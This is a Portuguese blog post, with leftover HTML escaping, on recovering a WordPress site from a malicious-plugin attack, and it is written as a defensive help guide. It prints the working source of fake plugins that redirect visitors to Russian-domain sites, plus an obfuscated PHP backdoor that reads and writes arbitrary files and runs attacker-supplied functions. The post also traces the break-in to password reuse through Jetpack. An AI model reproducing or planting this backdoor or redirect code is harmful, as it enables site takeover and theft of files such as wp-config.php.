Acontece que nem sempre \u00e9 t\u00e3o simples. Algumas vezes o WordPress fica t\u00e3o comprometido com esse ataque que n\u00e3o \u00e9 poss\u00edvel, sequer, entrar no painel administrativo para excluir o plugin, e nesse caso \u00e9 necess\u00e1rio fazer isso manualmente. Para tal basta acessar a estrutura de arquivos do site e ir na pasta: “\/wp-content\/plugins”. L\u00e1 voc\u00ea ir\u00e1 encontrar um s\u00e9rie de pastas, bastar\u00e1 renome\u00e1-las para que os plugins parem de funcionar.<\/p>\n\n\n\n

Para evitar confus\u00e3o, eu, particularmente, adiciono um tra\u00e7o “-” ao final do nome de cada pasta. Assim fica f\u00e1cil saber quais plugins est\u00e3o desativados.<\/p>\n\n\n\n

Para complicar um pouco mais, no caso do plugin “WordPress Editor” a pasta est\u00e1 com outro nome, apenas “Plugin”. Para que voc\u00ea possa se certificar que se trata do malware coloquei o c\u00f3digo-fonte dele abaixo para que voc\u00ea possa comparar. Perceba a maldade na linha 26: <\/p>\n\n\n\n

<?php\n\/*\nPlugin Name: WordPress Editor\nPlugin URI:  https:\/\/wp.com\nDescription: Enables the WordPress classic editor and the old-style Edit Post screen with TinyMCE, Meta Boxes, etc. Supports the older plugins that extend this screen.\nVersion:     5.0.0\nAuthor:      WordPress\nAuthor URI:  https:\/\/wp.com\nLicense:     GPL2\nLicense URI: https:\/\/www.gnu.org\/licenses\/gpl-2.0.html\n*\/\n\n\n\/\/ FIX LOGIN PAGE\nfunction is_login_page() {\n    return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));\n}\n\t\t\n\t\nfunction my_function() {\n\n        $is_admin = current_user_can( 'manage_options' );\n        $ref = $_SERVER['HTTP_REFERER'];\n\t\t\n\t\t\/\/ LINKS\n\t\t$urls = ['http:\/\/xn--80aj6ah1a.xn--p1ai','http:\/\/xn--e1adtoj.xn--p1ai','http:\/\/xn--80azck0a.xn--p1ai','http:\/\/xn--90aixnm.xn--p1ai','http:\/\/xn--c1ae0ahg.xn--p1ai','http:\/\/xn--c1ab3awv.xn--p1ai','http:\/\/xn--e1annge.xn--p1ai'];\n\t\n\t\t$url = "";\n\t\t\/\/$url = ;\n        if(!$is_admin && !empty($ref) && !is_login_page()){\n            header("Location: ".$urls[array_rand($urls)]);\n            exit();\n        } else{\n          \n        }\n}\nadd_action( 'wp_loaded', 'my_function' );\n\n\n\n?><\/pre><\/div>\n\n\n\nHacked WordPress plugin<\/figcaption><\/figure>\n\n\n\nCaso voc\u00ea encontre este c\u00f3digo em seu site WordPress, simplesmente elimine o arquivo.<\/p>\n\n\n\n
Atualiza\u00e7\u00e3o<\/h2>\n\n\n\nRecentemente esse mesmo tipo de ataque sofreu muta\u00e7\u00e3o e agora a pasta se chama “plugs” e o arquivo contendo o c\u00f3digo malicioso est\u00e1 espalhado em pastas com nomes codificados.<\/p>\n\n\n\n
No meu caso aparecerem os seguintes diret\u00f3rios dentro do diret\u00f3rio de plugins do WordPress:

opt_v2v9x
opt_v5tmh
opt_v6hu6
plugs

Observem que o \u00fanico padr\u00e3o \u00e9 a pasta “plugs” enquanto aquelas cujo nome come\u00e7a com “opt” parece ter seus sufixos gerados aleatoriamente.  Eu tive o trabalho de quebrar as linhas e fazer as identa\u00e7\u00f5es para ficar vi\u00e1vel a leitura.  Esse \u00e9 o conte\u00fado dos arquivos PHP dentro das pastas “opt”:<\/p>\n\n\n\n
<?php \nif(!empty($_POST['jkuyr5t'])&& $_POST['jkuyr5t']="fghse5s"){\n\t$i=0;\n\t$g=0;\n\t$p=".\/";\n\tdo{if(in_array("wp-config.php",scandir($p))){\n\t\techo "ggg" .$g ."ggg";\n\t\techo "ppp" .$p ."ppp";\n\t\tdie();\n\t\tbreak;}\n\t$p .= "..\/";\n\t$g++;\n\t$i++;}\nwhile($i != 10);\necho "sdghfgxfhytdrf";\ndie();}\nif(!empty($_POST['hjutr4w'])&& $_POST['hjutr4w']="nrs45r"&&!empty($_POST['xcbn7r'])&&!empty($_POST['ep8trd'])){\n\t$w=file_get_contents(urldecode($_POST['xcbn7r']));\n\tif(!empty($_POST["net42w"])){\n\t\t$w .= "\\n" .urldecode($_POST["net42w"]);}\n\tfile_put_contents(urldecode($_POST['ep8trd']),$w);}\nif(!empty($_POST['fgh6454'])&& $_POST['fgh6454']="nr5ydfg"&&!empty($_POST['zv4yye'])){\n\techo file_get_contents($_POST['zv4yye']);\n\tdie();}\n@extract($_REQUEST);\n@die($y4e5tyt($msr4y6));\n?><\/pre><\/div>\n\n\n\nEnquanto o arquivo “plug.php” dentro do diret\u00f3rio “plug” sofreu poucas altera\u00e7\u00f5es:<\/p>\n\n\n\n
<?php\n\/*\nPlugin Name: Yobar Wordpresa\nPlugin URI:  https:\/\/fbi.com\nDescription: Ebanatko\nVersion:     2.5.9\nAuthor:      Huyara\nAuthor URI:  https:\/\/suka.bliat.com\nLicense:     GPL2\nLicense URI: https:\/\/www.gnu.org\/licenses\/gpl-2.0.html\n*\/\n\nfunction huyara() {\n    return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));\n}\nfunction suka_func_wp_sosat() {\n\t$is_admin = current_user_can( 'manage_options' );\n\t$ref = $_SERVER['HTTP_REFERER'];\n\t$urls = ['http:\/\/xn--80a8bdcg.xn--p1ai','http:\/\/xn--g1aehqp.xn--p1ai','http:\/\/xn--80ake6dxb.xn--p1ai','http:\/\/xn--b1atd4ae.xn--p1ai','http:\/\/xn--i1aefi6c.xn--p1ai','http:\/\/xn--80ahxth.xn--p1ai','http:\/\/xn--h1aij0ay.xn--p1ai'];\n\t$url = "";\n\tif(!$is_admin && !empty($ref) && !huyara()){\n\t\theader("Location: ".$urls[array_rand($urls)]);\n\t\texit();\n\t} else{}\n}\nadd_action( 'wp_loaded', 'suka_func_wp_sosat' );\n\n?><\/pre><\/div>\n\n\n\nUm dos maiores problemas desse ataque \u00e9 que ele parece n\u00e3o estar listado em nenhum tipo de programa anti-malware utilizado pelos provedores de hospedagem, ent\u00e3o, toda vez que pe\u00e7o aux\u00edlio nesse sentido a resposta do meu provedor \u00e9 que meu site n\u00e3o foi invadido e que n\u00e3o h\u00e1 qualquer problema l\u00e1, o que me faz demandar grande tempo e esfor\u00e7o para solucionar o problema com minhas pr\u00f3prias m\u00e3os.  Esfor\u00e7o este que trago aqui para este blog para simplificar a vida daqueles que passaram pelo mesmo problema.
<\/p>\n\n\n\n
Atualiza\u00e7\u00e3o (15\/06\/2021) \/ Poss\u00edvel Solu\u00e7\u00e3o<\/h2>\n\n\n\nNesta data recebi um e-mail de WordPress.com informando que um atacante estava utilizando minha conta para inserir plugins maliciosos em meus sites.<\/p>\n\n\n\n
Recentemente alguns servi\u00e7os de grande porte foram invadidos.  Os invasores conseguiram acesso a informa\u00e7\u00f5es como e-mail e senhas de todos os usu\u00e1rios de tais servi\u00e7os.  Por se tratarem de grandes empresas eu utilizava uma senha padr\u00e3o que, ao ser descoberta, abriu caminho para que os atacantes pudessem se passar por mim em outros servi\u00e7os nos quais eu utilizava a mesma senha padr\u00e3o.<\/p>\n\n\n\n
Segundo o e-mail enviado pela WordPress foi isso que aconteceu.  Os criminosos acessavam minha conta e, atrav\u00e9s do Jetpack, que utilizo para gerenciar v\u00e1rios sites eles conseguiam implantar o plugin malicioso nesses sites.  A informa\u00e7\u00e3o foi precisa e pontual, listando os nomes dos plugins exatamente conforme listei aqui.  Como medida preventiva eles reiniciaram minha senha, impedindo assim que o atacante voltasse a se passar por mim.  Logo em seguida cadastrei uma senha nova de maior seguran\u00e7a.  Caso voc\u00ea n\u00e3o tenha recebido este e-mail da WordPress.com e ainda esteja sofrendo com este problema, a solu\u00e7\u00e3o pode ser t\u00e3o simples quanto apenas alterar sua senha naquele servi\u00e7o.<\/p>\n\n\n\n
<\/figure>\n\n\n\nSe voc\u00ea achou esse conte\u00fado \u00fatil ou relevante, considere assinar este blog:<\/p>\n\n\n\t
\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tDigite seu endere\u00e7o de e-mail\t\t\t\t\t\t<\/label>\n\t\t\t\t\t\t\n\t\t\t\t\t<\/p>\n\n\t\t\t\t\t
\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t